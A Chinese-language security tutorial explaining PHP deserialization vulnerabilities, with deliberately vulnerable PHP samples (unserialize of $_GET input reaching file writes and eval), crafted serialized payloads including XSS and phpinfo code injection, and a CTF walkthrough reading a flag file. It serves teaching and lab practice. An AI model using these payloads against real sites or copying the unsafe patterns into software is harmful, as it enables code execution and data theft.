PHP反序列化漏洞說明

2021-03-02 Ms08067安全實驗室
序列化

PHP程序為了保存和轉儲對象,提供了序列化的方法,序列化是為了在程序運行的過程中對對象進行轉儲而產生的。

序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。

PHP序列化的函數為serialize,反序列化的函數為unserialize.

舉個慄子:

<?phpclass Test{    public $a = 'ThisA';    protected $b = 'ThisB';    private $c = 'ThisC';    public function test(){        return 'this is a test!';    }}$test = new Test();var_dump(serialize($test));?>

輸出結果:

string(84) "O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}"

O:表示對象

:4:表示該對象名稱有四個字符

"Test":表示該對象的名稱

3:表示該對象有3個成員變量

接著是括號裡面的,這個類的三個成員變量由於變量前的修飾不同,在序列化出來後顯示的也不同。

s:1:"a";s:5:"ThisA"; :以 ;分開變量名和變量值,變量名為1個字符的a,變量值為"ThisA"

s:4:"*b";s:5:"ThisA";:多了 *,用以區分 protected 修飾符,另外實際頁面中會出現亂碼,實際上 protected屬性的表示方式是在變量名前加個%00%00

s:7:"Testc";s:5:"ThisC";: 在變量名前加上%00類名%00

可以看到, 序列化後的字符串中並沒有包含這個test方法的信息, 因為序列化不保存方法

反序列化

反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。

接上述慄子:

<?php

class Test{

public $a = 'ThisA';

protected $b = 'ThisB';

private $c = 'ThisC';

public function test(){

return'this is test';

}

}

$test = new Test();

$sTest = serialize($test);

$usTest = unserialize($sTest);

var_dump($usTest);

?>

輸出結果:

object(Test)#2 (3) {

["a"]=> string(5) "ThisA"

["b":protected]=> string(5) "ThisB"

["c":"Test":private]=> string(5) "ThisC"

}

序列化和反序列化的原理其實很簡單,序列化給我們傳遞對象提供了一種簡單的方法,serialize()將一個對象轉換成一個字符串,unserialize()將字符串還原為一個對象,與Java的 writeObject與 readObject,其原理基本一致。

在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

從以上慄子來看似乎沒有問題,那麼反序列化漏洞是如何形成的呢?

這就要引入PHP裡面魔術方法的概念了。


魔術方法

反序列化漏洞的形成通常和以下魔術方法有關:

__construct() #類似C構造函數,當一個對象創建時被調用,但在unserialize()時是不會自動調用的

__destruct() #類似C析構函數,當一個對象銷毀時被調用

__toString() #當一個對象被當作一個字符串使用時被調用

__sleep() #serialize()時會自動調用

__wakeup() #unserialize()時會自動調用

__call() #當調用對象中不存在的方法會自動調用該方法。

__get() #在調用私有屬性的時候會自動執行

__isset() #在不可訪問的屬性上調用isset()或empty()觸發

__unset() #在不可訪問的屬性上使用unset()時觸發

由前面可以看出,當傳給 unserialize() 的參數可控時,我們可以通過傳入一個精心構造的序列化字符串,從而控制對象內部的變量甚至是函數。


利用__destruct

<?php

class test{

var $test = "hello";

function __destruct(){

echo $this->test;

}

}

$a = $_GET['id'];

$a_u = unserialize($a);

?>

構造payload如下:

127.0.0.1/Unserialize/test.php

?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(/you are hacked/)</script>";}


利用__wakeup

unserialize()後會導致 __wakeup()或 __destruct()的直接調用,中間無需其他過程.

因此最理想的情況就是一些漏洞/危害代碼在 __wakeup() 或 __destruct()中,從而當我們控制序列化字符串時可以去直接觸發它們 .

如下實驗:

<?php

class test{

var $test = '123';

function __wakeup(){

$fp = fopen("flag.php","w") ;

fwrite($fp,$this->test);

fclose($fp);

}

}

$a = $_GET['id'];

print_r($a);

echo "</br>";

$a_unser = unserialize($a);

require "flag.php";

?>

我們可以通過構造序列化對象,其中test的值設置為 <?php phpinfo();?>,再調用unserialize()時會通過 __wakeup()把test的值的寫入到flag.php中,這樣當我們訪問同目錄下的flag.php即可達到實驗目的!

序列化字符串如下:

O:7:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

利用 __toString

這麼簡單,反序列化漏洞就講完了嗎,no no no,平常經常看別的文章經常看到POP鏈這個名詞,那到底是神馬?

POP gadget

如果一次unserialize()中並不會直接調用的魔術函數,比如前面提到的 __construct(),是不是就沒有利用價值呢?

非也,類似於棧溢出中的ROP gadget,有時候反序列化一個對象時,由它調用的 __wakeup()中又去調用了其他的對象,由此可以溯源而上,利用一次次的"gadget"找到漏洞點。

實驗如下:

<?php

class test1{

function __construct($test){

$fp = fopen("flag.php","w") ;

fwrite($fp,$test);

fclose($fp);

}

}

class test2{

var $test = '123';

function __wakeup(){

$obj = new test1($this->test);

}

}

$a = $_GET['id'];

print_r($a);

echo "</br>";

$a_unser = unserialize($a);

require "flag.php";

?>

分析以上代碼,我們可以給id傳入構造好的序列化字符串,進行反序列化時會自動調用 test2中的 __wakeup方法,從而在 newtest1($this->test)時會調用 test1中的 __construct()方法,從而把 把 <?php phpinfo();?>寫入到 flag.php中,達到上面一樣的效果。

細心的朋友可能已經發現了,以上我們都是利用魔術方法這種自動調用的方法來利用反序列化漏洞的,如果缺陷代碼存在類的普通方法中,就不能指望通過"自動調用"來達到目的了。

利用普通方法

當我們能利用的只有類中的普通方法時,這時我們需要尋找相同的函數名,把敏感函數和類聯繫在一起。

如下實驗:

<?php

class main {

var $test;

function __construct() {

$this->test = new test1();

}

function __destruct() {

$this->test->action();

}

}

class test1 {

function action() {

echo "hello world";

}

}

class test2 {

var $test2;

function action() {

eval($this->test2);

}

}

$a = new main();

unserialize($_GET['test']);

?>

大意為, newmain()得到一個新的main對象,調用 __construct(),其中又 newtest1(),

在結束後會調用 __destruct(),其中會調用 action(),從而輸出 hello world。

而我們需要尋找相同的函數名,即test2類中的action方法,因為其中有我們想要的eval方法.

下面使用PHP獲取序列化字符串:

<?php

class main {

var $test;

function __construct() {

$this->test = new test2();

}

}

class test2 {

var $test2 = "phpinfo();";

}

echo serialize(new main());

?>

得到序列化字符串如下:

O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}

構造URL如下:

127.0.0.1/Unserialize/test3.php

?test=O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}

相當於執行 <?phpeval("phpinfo();")?>


神盾局的秘密

題目入口: 

發現base64編碼後的文件名,解密後為shield.jpg

訪問: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw報錯,猜測可能需要將文件名經base64編碼後才能訪問。

訪問: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw,返回以下圖片內容。

我們嘗試將 index.php經basee64編碼後訪問:

view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

成功查看到 index.php源碼:

發現包含文件 shield.php,再次查看其源碼:

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

最後查看 showing.php的源碼:

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

綜合分析:題目過濾了 ".."、"/"、"\\"、"pctf"

根據提示, Flag存在於 pctf.php中

直接訪問 http://web.jarvisoj.com:32768/pctf.php,提示 FLAG:PCTF{I_4m_not_fl4g},欲蓋彌彰,哈哈!

查看源碼: view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=,提示 Filenotfound!

在index.php中我們看到可以通過 Readfile函數讀取一個反序列化的成員變量( pctf.php),變量名正好是我們傳入的參數( class),於是構造以下序列化字符串

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

訪問 http://web.jarvisoj.com:32768/index.php?g=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}即可得到 flag!

Ms08067安全實驗室

專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,預計2019年11月出版《內網安全攻防:滲透測試實戰指南》,目前在編Python滲透測試,JAVA代碼審計和APT方面的書籍。

團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。

官方網站:www.ms08067.com

相關焦點

  • PHP反序列化筆記
    \x00 + 類名 + \x00 + 變量名 ‐> 反序列化為private變量\x00 + * + \x00 + 變量名 ‐> 反序列化為protected變量<?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}CVE-2016-7124漏洞介紹當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行演示代碼
  • PHP反序列化漏洞簡介及相關技巧小結
    要學習PHP反序列漏洞,先了解下PHP序列化和反序列化是什麼東西。
  • php反序列化
    但是這裡XSS的觸發,是因為後面我們使用了類中的方法a(),還有一些自動觸發的魔術方法,現實中的反序列漏洞,往往就出現在魔術方法中。>Thinkphp5.0,5.1版本均存在反序列化,而且切入點都一樣,但因為thinkphp本身沒有反序列化入口,所以不被重視。
  • 文庫 | 反序列化漏洞匯總
    在本節中,我們將展示多種語言的序列化示例及特性。識別序列化數據後,就可以測試是否能夠控制它。1.PHP#漏洞原理php對象控制所有php裡面的值都可以使用函數serialize()來返回一個包含字節流的字符串來表示,unserialize()函數能夠重新把字符串變回php原來的值。反序列化一個對象將會保存對象的所有變量。
  • 原理+實踐掌握(PHP反序列化和Session反序列化)
    本文轉自先知社區:https://xz.aliyun.com/t/7366前言:最近又接觸了幾道php反序列化的題目,覺得對反序列化的理解又加深了一點,這次就在之前的學習的基礎上進行補充。0x02:PHP反序列化漏洞在學習漏洞前,先來了解一下PHP魔法函數,對接下來的學習會很有幫助PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法__construct 當一個對象創建時被調用,__destruct 當一個對象銷毀時被調用,__toString
  • 看代碼學安全(11) - unserialize反序列化漏洞
    漏洞解析:(上圖代碼第11行正則表達式應改為:』/O:d:/『)題目考察對php反序列化函數的利用。代碼 11行 ,第一個if,截取前兩個字符,判斷反序列化內容是否為對象,如果為對象,返回為空。php可反序列化類型有String,Integer,Boolean,Null,Array,Object。去除掉Object後,考慮採用數組中存儲對象進行繞過。
  • php 序列化與反序列化
    反序列化的問題,打算這篇文章寫一下php反序列化。 ' (length=10)可以看到__destruct方法在整個序列化過程結束時才會調用,調用的次數取決於序列化和反序列化的次數,__construct方法在new對象時調用,並不在序列化過程中調用,__wakeup和__sleep方法不再支持與調用 介紹完php序列化的基本內容,捎帶講一下常見的php序列化漏洞繞過:
  • Yii2 反序列化漏洞復現分析
    1、漏洞描述Yii是一套基於組件、用於開發大型Web應用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。
  • PHP一些常見的漏洞梳理
    以下主要是近期對php一些常見漏洞的梳理,包含php文件包含、php反序列化漏洞以及php偽協議。
  • 精通PHP序列化與反序列化之"道"
    序列化:將對象轉換成一個字符串,PHP序列化函數是:serialize() 反序列化:將序列化後的字符串還原為一個對象,PHP反序列化函數是:unserialize()在說反序列化漏洞之前我們先了解一下對象概念:我們舉個例子,如果把生物當成一個大類,那麼就可以分為動物和植物兩個類,而動物又可以分為食草動物和雜食動物,那有人可能會問了,為什麼這麼分呢
  • Java安全之反序列化漏洞分析
    方法,而反序列化是由ObjectInputStream的readObject方法實現的,下圖是作者畫的一個序列化示意圖:何來的漏洞之說?呵呵,意外往往就發生在不經意之間,如果反序列化過程中提供了命令執行的機會,那麼任意命令執行漏洞就產生了,如下我們在Session對象的readObject函數中增加了執行命令的代碼:
  • Java反序列化漏洞從理解到實踐
    利用某個反序列化漏洞。2. 自己手動創建利用載荷。更具體一點,首先我們會利用現有工具來實際操作反序列化漏洞,也會解釋操作的具體含義,其次我們會深入分析載荷相關內容,比如什麼是載荷、如何手動構造載荷等。完成這些步驟後,我們就能充分理解載荷的工作原理,未來碰到類似漏洞時也能掌握漏洞的處理方法。
  • SoapClient反序列化SSRF
    序列化中的魔術方法留言或私信獲取連結construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke()
  • PHP-Session利用總結
    補充一下關於php-Session相關配置的說明在php.ini中對Session存在許多配置,這裡我們通過phpinfo來說明幾個重要的點。>Session偽造用戶登錄Session邏輯漏洞0x03 Session序列化攻擊Serialize_handler要了解Session序列化攻擊,先來了解一下Session機制中對序列化是如何處理的
  • DASCTF-Esunserialize(反序列化字符逃逸)
    而值是兩個空字節和一個*,一共才3個字節,所以後面反序列化的時候會報錯。其實報錯的原因不是因為字符串長度不匹配,而是因為取了六個字符之後,後面字符的格式不符合序列化字符串格式,才會報錯。例如:取六個字符之後username的值為*";s:(其中還有一個空字節)。後面的格式不符合序列化字符串格式,拋出錯誤。PS:我個人理解是這樣的。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    = php_serialize php5.5之後啟用 它是用serialize反序列化格式分割下面看一下針對PHP定義的不同方式對用戶的session是如何處理的,我們只有知道了伺服器是如何存儲session信息的,才能夠往session文件裡面傳入我們所精心製作的惡意代碼。
  • PHP phar反序列化原理詳解
    前段時間縱橫杯遇到一題反序列化,當時隊友做出來了,賽後嘗試復現一下,並總結反序列化內容。
  • JAVA反序列化—FastJson抗爭的一生
    文章內容如下:1.fastjson組件基礎介紹及使用(三種反序列化形式等)2.fastjson組件的@type標識的特性說明(默認調用setter、getter方法條件等)。反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User
  • 怎樣挖掘出屬於自己的php反序列化鏈
    簡單介紹在使用php的反序列化漏洞前需要兩個條件可以進行反序列化的點合理的pop chain這一對組合拳形成的反序列化漏洞可以進而造成RCE、文件讀寫、信息洩露等危害。本文不會對形成反序列化漏洞的點,進行講解,其它大師傅已經講解的十分詳細了。這裡就我這兩天的挖鏈經歷進行一個總結。
  • MySQL JDBC客戶端反序列化漏洞
    標題: MySQL JDBC客戶端反序列化漏洞☆ 背景介紹☆ 學習思路☆ 搭建測試環境☆ 惡意MySQL插件    1) 獲取MySQL 5.7.28源碼    2) 在rewrite_example基礎上修改出evilreplace☆ 測試rewriter插件    1) 安裝rewriter.so